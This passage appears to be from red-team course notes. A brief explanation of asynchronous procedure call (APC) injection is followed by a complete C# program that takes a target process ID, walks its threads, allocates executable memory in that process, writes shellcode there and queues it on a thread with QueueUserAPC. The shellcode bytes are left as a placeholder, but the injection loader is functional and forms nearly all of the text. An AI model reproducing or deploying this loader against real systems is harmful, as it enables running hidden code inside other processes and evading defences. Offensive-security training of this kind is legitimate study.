This technique is similar to above but instead of creating a new thread, we queue an asynchronous procedure call on an existing thread. When the thread enters an 'alertable' state (e.g. when it calls an API like Sleep or WaitForSingleObject), it will run the shellcode that the APC points to. Queuing an APC on a thread requires that we have a handle to it, and for that we need a thread ID. To obtain a valid thread ID from a process, we must 'thread walk' it.
using System.Runtime.InteropServices;
namespace CRTO
{
internal class AsynchronousProcedureCalls
{
// --- WinAPI P/Invoke definitions ---
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateToolhelp32Snapshot(
uint dwFlags,
uint th32ProcessID);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Thread32First(IntPtr hSnapshot, ref THREADENTRY32 lpte);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Thread32Next(IntPtr hSnapshot, ref THREADENTRY32 lpte);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(
uint dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenThread(
uint dwDesiredAccess,
bool bInheritHandle,
uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint QueueUserAPC(
IntPtr pfnAPC, // PAPCFUNC — here, the address of our shellcode
IntPtr hThread, // handle to the target thread
UIntPtr dwData); // single argument passed to the APC function
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
// --- Constants ---
const uint TH32CS_SNAPTHREAD = 0x4;
const uint PROCESS_ALL_ACCESS = 0x1FFFFF;
const uint THREAD_ALL_ACCESS = 0x1FFFFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
// --- THREADENTRY32 structure (matches the native layout) ---
[StructLayout(LayoutKind.Sequential)]
public struct THREADENTRY32
{
public uint dwSize;
public uint cntUsage;
public uint th32ThreadID;
public uint th32OwnerProcessID;
public int tpBasePri;
public int tpDeltaPri;
public uint dwFlags;
}
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage: Program.exe <pid>");
return;
}
byte[] shellcode = new byte[] { /* your shellcode bytes go here */ };
// Convert the provided argument to an integer
int pid = int.Parse(args[0]);
uint threadId = 0;
// Create a thread snapshot
IntPtr hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == IntPtr.Zero || hSnapshot == (IntPtr)(-1))
{
Console.WriteLine($"CreateToolhelp32Snapshot failed. Error: {Marshal.GetLastWin32Error()}");
return;
}
THREADENTRY32 te = new THREADENTRY32();
te.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32));
// Walk the threads
if (Thread32First(hSnapshot, ref te))
{
do
{
// Sanity check: skip entries with invalid size
if (te.dwSize >= (uint)Marshal.OffsetOf(typeof(THREADENTRY32), nameof(THREADENTRY32.th32OwnerProcessID)).ToInt64() + sizeof(uint))
{
if (te.th32OwnerProcessID == (uint)pid)
{
// Use the first thread we find
threadId = te.th32ThreadID;
break;
}
}
te.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32));
} while (Thread32Next(hSnapshot, ref te));
}
CloseHandle(hSnapshot);
if (threadId == 0)
{
// We failed to find a thread
Console.WriteLine("No thread found for the given PID.");
return;
}
// Get a handle to the process
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine($"OpenProcess failed. Error: {Marshal.GetLastWin32Error()}");
return;
}
// Allocate a region of memory in the target process
IntPtr hMemory = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (hMemory == IntPtr.Zero)
{
Console.WriteLine($"VirtualAllocEx failed. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
// Write the shellcode into the target process memory
if (!WriteProcessMemory(
hProcess,
hMemory,
shellcode,
(uint)shellcode.Length,
out _))
{
Console.WriteLine($"WriteProcessMemory failed. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
// Open a handle to the target thread
IntPtr hThread = OpenThread(THREAD_ALL_ACCESS, false, threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine($"OpenThread failed. Error: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
// Queue the APC — the shellcode will run when the thread enters an alertable state
uint result = QueueUserAPC(hMemory, hThread, UIntPtr.Zero);
if (result == 0)
{
Console.WriteLine($"QueueUserAPC failed. Error: {Marshal.GetLastWin32Error()}");
}
// Clean up handles
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
}